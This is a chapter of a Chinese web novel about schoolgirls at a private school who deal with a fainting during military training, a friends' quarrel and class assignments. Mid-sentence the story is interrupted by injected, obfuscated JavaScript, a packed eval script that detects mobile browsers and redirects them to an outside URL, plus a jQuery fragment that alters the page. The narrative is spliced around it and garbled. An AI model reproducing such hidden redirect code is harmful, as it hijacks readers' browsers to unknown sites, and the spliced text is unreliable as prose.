俩人看对了眼,蹑手蹑脚一块儿遛浴室去了。进了浴室,程鹿露扯了张洗脸巾递给她,看他脸色惊了下:“你眼圈怎么那么重啊?没睡好吗?”
柯悄悄摇摇头,答:“天生的。”
她妈眼睛还好的时候,还带她去看过这个病,医生说就是气血不足营养不良,加上贫血,眼圈儿就跟着她了。后来精神变差了,颜色就更深。
程鹿露“哦”了声,也没多问。脸埋在水里边儿半晌出来,微喘着气:“对了夏夏,我想起来要跟你说,白珍真和昭昭的事情,你还是少牵扯进去比较好。”
柯悄悄抹着脸,转头,眼睫毛上带着细小的露珠,淡声问道:“怎么了?”
“这……”程鹿露为难地瞥了眼浴室外,那边呼噜声恰巧轻了点,她贴柯夏近了点:“我待会儿军训跟你说吧!”
绩市是教育大市,虽说是私立学校,也是没有懒觉睡的。高一比较高二高三稍微幸福一些,能到早晨6点起床,高二三就得迎合那又臭又长的加长版早自习再早起半小时。
沈昭明显是夜猫子性格,起床就是被程鹿露喊着柯夏一起拖起来的。到了操场上更是恨不得跟柯夏就黏在一起,偏生人又比柯夏高,像个树袋熊似的压得柯夏喘不过气,眼前一阵阵地发晕。直到成老班过来把树袋熊大小姐的站相一拍,说要发给沈老爷子看,才老实了。
军训少爷小姐们的教官也是择过的,柯夏这班幸运分到一个还算有点儿话语权的教官,让少爷小姐们第一天都站姿端正些,之后几天就天天让躺树荫了。
这第一天就尤其变得难熬,柯夏本身也做噩梦没睡好,学校又发神经让军训开幕式跟开学典礼合并,时间一长,到了最后的学生代表发言时刻,她眼前就阵阵发黑。
学生代表说的什么话她完全没听清,只知道人群走了她就该走了,谁知走了两步刚到场地,她腿一软眼前一青,就毫无知觉地倒了下去。
沈昭走在前面感觉后背被砸了下,回头一看吓得魂都飞了,赶紧用两只胳膊卡着柯夏的咯吱窝给她搂起来。那边程鹿露也跟教官告了假急急忙忙跑过来跟沈昭一起架着。沈昭一拎她,才知道柯夏多么骨瘦如柴,跟拎了个纸箱子似的没重量。
程鹿露就因为个子矮有点吃亏了,连扶也扶不动。沈昭干脆叫程鹿露把柯夏扶到她背上,她背着去。程鹿露正卯着劲呢,忽然鼻尖飘来一阵木质香味,旋即一线阴凉罩了下来:“怎么了?”
沈昭一抬头,撞上张清冷隽秀的脸。
“哇”了声:“谢纯?你发言完啦。也没什么事,就我背上这个,她可能有点中暑了。”
沈昭把背转过来给谢纯看,女生红得发紫、毫无知觉的脸,被巨量汗濡成根根分明的刘海,呈现在他眼前。谢纯缓缓抬手、轻轻触了触女孩额头那片滚烫。
他的手常年冰凉,温度格外明显。点头:“成老师说,这里离医务室太远了,你们先回教室把空调开了,他去请医生来教室。”
这一年一年的,军训晕倒的人数不胜数,老师们都习惯了。
沈昭虽然喜欢帅哥,这节骨眼上也忘了欣赏了。公事公办应了两声,背起柯夏将她两条腿一卡,风风火火就要上楼。忽然又被谢纯叫住,谢纯跨着长步过来,递给沈昭颗糖:“给她含着。”
沈昭上楼后,谢纯被成老班叫过来的任务也完成了,遂离开,留下一地的惊叹声。白珍真掩在人群后面,看看沈昭上的楼,又看看谢纯的背影,上牙嵌进下唇的肉里,手里的树叶攥成了丝瓜络。
柯夏醒来的时候正趴在课桌上,右边一个沈昭睁着大眼睛,楚楚可怜地看着她。她顶不住,又转向左边,又碰上程鹿露圆不溜秋的黑眼珠。
她索性把自己拎了起来,头晕的感觉还在脑袋里回旋,她无奈揉着眉心:“怎么了?”
沈昭一手拉住她,一手摸她头:“嗯,好像好多了。”柯夏还有余晕,任其摆弄。程鹿露又把她拉过去,嫌弃地瞥了沈昭一眼:“你啥时候能摸出来了?”说着自个儿上了手,确认柯夏确实没事了才放下心来。
外头烈日还在烤着学生们无精打采的军训口号,晒得教室玻璃都热热的。程鹿露和沈昭都没走,一个是真关心,一个是躲暑,有一搭没一搭聊起来。
“你知道刚才谁救的你吗?”沈昭满脸神秘。
柯夏晃了晃脑袋,茫然:“我走了两三步就眼前一黑,什么都看不见了。”
沈昭张了张嘴,刚想邀功,脑筋一转,嘴巴里掉出来的词就不对味儿了:“是你的桃花运哦。”
程鹿露扶了扶眼镜,一本正经:“昭昭,明明是你背夏夏上楼的。”
沈昭:“……”
她有时候正想把程鹿露这个脑袋切开看看,看看是不是一根筋。
大小姐难得抓了抓头,颇为苦恼的模样,使不了坏就变成一块脱了水的海绵:“是我背你上来的,也确实有帅哥伸手了,不信你尝尝嘴里是不是有甜味儿?”
柯夏舐了下舌尖,确实有一抹甜而不腻的香味残余。不知怎的,她脑海里一下子浮现出那颗蜂蜜糖,心中一惊,快速地伸手摸进校服口袋,确认那颗糖还在,才安心。
她松了口气,凝眉:“那……谢谢你,沈昭,也谢谢那个陌生人。”
“……”沈昭算是看明白了。
柯夏此女,跟程鹿露是一样的一根筋。
蛐蛐谢纯的路子全被两个榆木脑袋堵死,她觉得没趣儿了,也就止了话头。起身给柯夏倒水去了,这会儿下面口号声消下去了点,几个班已经开始坐在树荫下乘凉,便知道休息时间到了。三两个学生上楼来不知干什么,有个人影打走廊折角略过来,短发刘海被西南风吹得一扬一扬,很快推门进来了。
是白珍真。
沈昭打完水正跟白珍真照了个面,面色一冰。白珍真冷眼瞧了她一悚,兀自从抽屉里拿个了什么东西就出去了。沈昭见她面色不对,几步过来把打好的水往柯夏桌上一放,也追了出去。
教室剩程鹿露和柯夏两个人,面面相觑。半晌程鹿露挨近柯夏,下巴朝俩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126206|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人离去的方向一扬:“昭昭从小就大小姐脾气,白珍真是唯一能容忍她的,她们两个只有冷战,不可能真绝交。”
大小姐脾气?柯夏恍了下,她趴在沈昭后背的时候有点感受,让人感觉很可靠,刚才又下意识给她倒水。
无非嘴上不饶人了点。
那边程鹿露又道:“她俩这次吵架,就是白珍真……诶呀怎么说呢,总之就是有点落差,说了几句难听的,昭昭呢也不是故意的,但又拉不下面子,就冷战起来了。”
柯夏捧着水杯,一点点抿着沈昭打来的水,慢吞吞应了声:“……哦,这样。”
“昭昭把你牵扯进来,确实不太好……”程鹿露望着一时无话的柯夏,挠了挠头:“你生气了吗?”
柯夏慢慢地放下水杯,抬起头,眯着眼睛让傍晚馨暖的光线洒进瞳孔里。半晌,被晒成琥珀色的瞳孔望回程鹿露,重复了遍:“生气?”
“我只是在想,要怎么帮沈昭挽回白珍真。”
……
—
那天晕倒之后,成乘盛就调出来了柯夏的体检报告,一看她体弱成这样,之后的军训都全免了。少爷小姐们知道这消息后都有些嫉妒,柯夏却悄悄觉得有些遗憾。
对于她来说,集英的一切都是新鲜的。她喜欢去张望、拥抱。
所幸沈昭是个话痨,每天回寝室第一件事就是拉着她叭叭半天,不是这个帅哥穿迷彩真赏心,就是那个帅哥俯卧撑真悦目。柯夏的遗憾也以一种诡异的方式稍稍弥补了点,即使沈昭向她输出的时候,暗处总有个小眼刀在她身上剜来剜去。
一来二去,她、沈昭,还有程鹿露就熟络起来了。也算是一条绳上的小蚂蚱们了。然而两天过去,被遗忘了的风浪——开学考成绩,就猛扑向了这条小船。
柯夏31班,沈昭29班,白珍真29班,小船上的蚂蚱里只有程鹿露一个争气的,考上了文科预备最强的2班。
柯夏倒没什么,早有预料,倒是沈昭哭天抢地地回去找沈老爷子了。沈老爷子以为孙女终于进益了,找人想塞前面一点儿,塞不进2班也塞进中游。谁知沈昭一听哭得更惨了,让沈老爷子务必塞她到31班去,给沈老爷子气得不轻。
一来二去,沈昭拉着白珍真还是跟柯夏一块儿,都在31班。程鹿露去了2班还当班长。寝室原本是要换的,被沈大小姐一哭,就还是原样儿。
31班鱼龙混杂,除了柯夏这个考不进好班的特招生,便是考也考不过、钱也塞不过别家的纨绔子弟。位置也不比8班了,在西边教学楼顶层。
沈昭叫了人帮搬东西,让柯夏先等着,待会儿帮她搬。柯夏没听她的,闷着声兀自搬东西上楼,那边儿位置全都编排好了,桌子上放着要别到校服上的名牌,一牌一桌。可柯夏找来找去,没找到自己的。
依沈昭的位置,她倒是找到了个诡异的地方。那位置在沈昭旁边,却是一片空地,桌子不知道被移哪儿去了。
柯夏狐疑地看了眼后桌的名牌,写着俩字“封耀”。